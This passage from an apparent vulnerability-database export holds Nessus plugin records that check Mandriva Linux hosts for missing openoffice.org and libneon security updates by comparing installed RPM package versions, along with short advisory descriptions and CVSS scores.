yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-eu-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-fi-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-fr-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-he-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-hi-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-hu-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-it-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-ja-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-ko-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-mk-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-nb-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-nl-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-nn-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-pl-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-pt-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-pt_BR-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-ru-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-sk-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-sl-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-sv-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-ta-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-tr-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-zh_CN-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-zh_TW-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-zu-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-math-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-mono-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-openclipart-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-pdfimport-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-presentation-minimizer-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-presenter-screen-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-pyuno-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-style-crystal-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-style-galaxy-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-style-hicontrast-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-style-industrial-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-style-tango-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-testtool-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-voikko-3.1-3.2mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-wiki-publisher-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-writer-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\n\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-base-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-calc-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-common-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-core-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-devel-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-devel-doc-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-draw-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-filter-binfilter-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-gnome-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-help-af-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-help-ar-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-help-bg-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-help-br-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-help-bs-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-help-ca-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-help-cs-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-help-cy-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-help-da-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-help-de-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-help-el-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-help-en_GB-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-help-en_US-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-help-es-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-help-et-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-help-eu-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-help-fi-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-help-fr-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-help-he-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-help-hi-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-help-hu-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-help-it-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-help-ja-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-help-ko-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-help-mk-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-help-nb-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-help-nl-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-help-nn-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-help-pl-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-help-pt-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-help-pt_AO-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-help-pt_BR-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-help-ru-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-help-sk-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-help-sl-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-help-sv-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-help-ta-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-help-tr-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-help-zh_CN-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-help-zh_TW-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-help-zu-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-impress-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-java-common-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-kde4-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-l10n-af-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-l10n-ar-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-l10n-bg-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-l10n-br-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-l10n-bs-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-l10n-ca-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-l10n-cs-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-l10n-cy-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-l10n-da-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-l10n-de-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-l10n-el-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-l10n-en_GB-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-l10n-es-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-l10n-et-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-l10n-eu-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-l10n-fi-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-l10n-fr-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-l10n-he-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-l10n-hi-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-l10n-hu-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-l10n-it-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-l10n-ja-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-l10n-ko-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-l10n-mk-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-l10n-nb-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-l10n-nl-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-l10n-nn-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-l10n-pl-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-l10n-pt-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-l10n-pt_AO-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-l10n-pt_BR-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-l10n-ru-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-l10n-sk-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-l10n-sl-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-l10n-sv-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-l10n-ta-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-l10n-tr-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-l10n-zh_CN-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-l10n-zh_TW-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-l10n-zu-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-math-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-mono-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-openclipart-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-pdfimport-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-presentation-minimizer-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-presenter-screen-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-pyuno-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-style-crystal-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-style-galaxy-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-style-hicontrast-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-style-industrial-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-style-oxygen-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-style-tango-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-testtool-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-voikko-3.1-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-wiki-publisher-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"openoffice.org-writer-3.2-4.1mdv2010.1\", yank:\"mdv\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());\n else security_hole(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2019-02-21T01:13:41", "bulletinFamily": "scanner", "description": "This update fixes a reported buffer overflow found with ntlm authentication (MDV #59779).\n\nThis advisory obsoletes MDVA-2010:172", "modified": "2018-07-19T00:00:00", "id": "MANDRIVA_MDVSA-2010-123.NASL", "href": "https://www.tenable.com/plugins/index.php?view=single&id=48188", "published": "2010-07-30T00:00:00", "title": "Mandriva Linux Security Advisory : libneon0.27 (MDVSA-2010:123)", "type": "nessus", "sourceData": "#%NASL_MIN_LEVEL 70103\n\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Mandriva Linux Security Advisory MDVSA-2010:123. \n# The text itself is copyright (C) Mandriva S.A.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(48188);\n script_version(\"1.8\");\n script_cvs_date(\"Date: 2018/07/19 20:59:17\");\n\n script_xref(name:\"MDVSA\", value:\"2010:123\");\n\n script_name(english:\"Mandriva Linux Security Advisory : libneon0.27 (MDVSA-2010:123)\");\n script_summary(english:\"Checks rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\n\"The remote Mandriva Linux host is missing one or more security\nupdates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"This update fixes a reported buffer overflow found with ntlm\nauthentication (MDV #59779).\n\nThis advisory obsoletes MDVA-2010:172\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected packages.\");\n script_set_attribute(attribute:\"risk_factor\", value:\"High\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:lib64neon0.27\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:lib64neon0.27-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:lib64neon0.27-static-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:libneon0.27\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:libneon0.27-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:libneon0.27-static-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:mandriva:linux:2010.0\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2010/06/23\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2010/07/30\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2010-2018 Tenable Network Security, Inc.\");\n script_family(english:\"Mandriva Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/Mandrake/release\", \"Host/Mandrake/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/Mandrake/release\")) audit(AUDIT_OS_NOT, \"Mandriva / Mandake Linux\");\nif (!get_kb_item(\"Host/Mandrake/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (cpu !~ \"^(amd64|i[3-6]86|x86_64)$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Mandriva / Mandrake Linux\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"MDK2010.0\", cpu:\"x86_64\", reference:\"lib64neon0.27-0.29.0-1.3mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", cpu:\"x86_64\", reference:\"lib64neon0.27-devel-0.29.0-1.3mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", cpu:\"x86_64\", reference:\"lib64neon0.27-static-devel-0.29.0-1.3mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", cpu:\"i386\", reference:\"libneon0.27-0.29.0-1.3mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", cpu:\"i386\", reference:\"libneon0.27-devel-0.29.0-1.3mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", cpu:\"i386\", reference:\"libneon0.27-static-devel-0.29.0-1.3mdv2010.0\", yank:\"mdv\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());\n else security_hole(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2019-02-21T01:13:41", "bulletinFamily": "scanner", "description": "This updates provides a security update to the OpenOffice.org described as follow :\n\nOpenOffice's xmlsec uses a bundled Libtool which might load .la file in the current working directory allowing local users to gain privileges via a Trojan horse file. For enabling such vulnerability xmlsec has to use --enable-crypto_dl building flag however it does not, although the fix keeps protected against this threat whenever that flag had been enabled (CVE-2009-3736).\n\nAddittionaly this update provides following bug fixes :\n\nOpenOffice.org is not properly configure to use the xdg-email functionality of the FreeDesktop standard (#52195).\n\nTemplate desktop icons are not properly set up then they are not presented under the context menu of applications like Dolphin (#56439).\n\nlibia_ora-gnome is added as suggest as long as that package is needed for a better look (#57385#c28).\n\nIt is enabled a fallback logic to properly select an OpenOffice.org style whenever one is set up but that is not installed (#57530#c1, #53284, #45133, #39043)\n\nIt is enabled the Firefox plugin for viewing OpenOffice.org documents inside browser.", "modified": "2019-01-02T00:00:00", "id": "MANDRIVA_MDVSA-2010-075.NASL", "href": "https://www.tenable.com/plugins/index.php?view=single&id=48178", "published": "2010-07-30T00:00:00", "title": "Mandriva Linux Security Advisory : openoffice.org (MDVSA-2010:075)", "type": "nessus", "sourceData": "#%NASL_MIN_LEVEL 70103\n\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Mandriva Linux Security Advisory MDVSA-2010:075. \n# The text itself is copyright (C) Mandriva S.A.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(48178);\n script_version(\"1.11\");\n script_cvs_date(\"Date: 2019/01/02 16:37:54\");\n\n script_cve_id(\"CVE-2009-3736\");\n script_bugtraq_id(37128);\n script_xref(name:\"MDVSA\", value:\"2010:075\");\n\n script_name(english:\"Mandriva Linux Security Advisory : openoffice.org (MDVSA-2010:075)\");\n script_summary(english:\"Checks rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\n\"The remote Mandriva Linux host is missing one or more security\nupdates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"This updates provides a security update to the OpenOffice.org\ndescribed as follow :\n\nOpenOffice's xmlsec uses a bundled Libtool which might load .la file\nin the current working directory allowing local users to gain\nprivileges via a Trojan horse file. For enabling such vulnerability\nxmlsec has to use --enable-crypto_dl building flag however it does\nnot, although the fix keeps protected against this threat whenever\nthat flag had been enabled (CVE-2009-3736).\n\nAddittionaly this update provides following bug fixes :\n\nOpenOffice.org is not properly configure to use the xdg-email\nfunctionality of the FreeDesktop standard (#52195).\n\nTemplate desktop icons are not properly set up then they are not\npresented under the context menu of applications like Dolphin\n(#56439).\n\nlibia_ora-gnome is added as 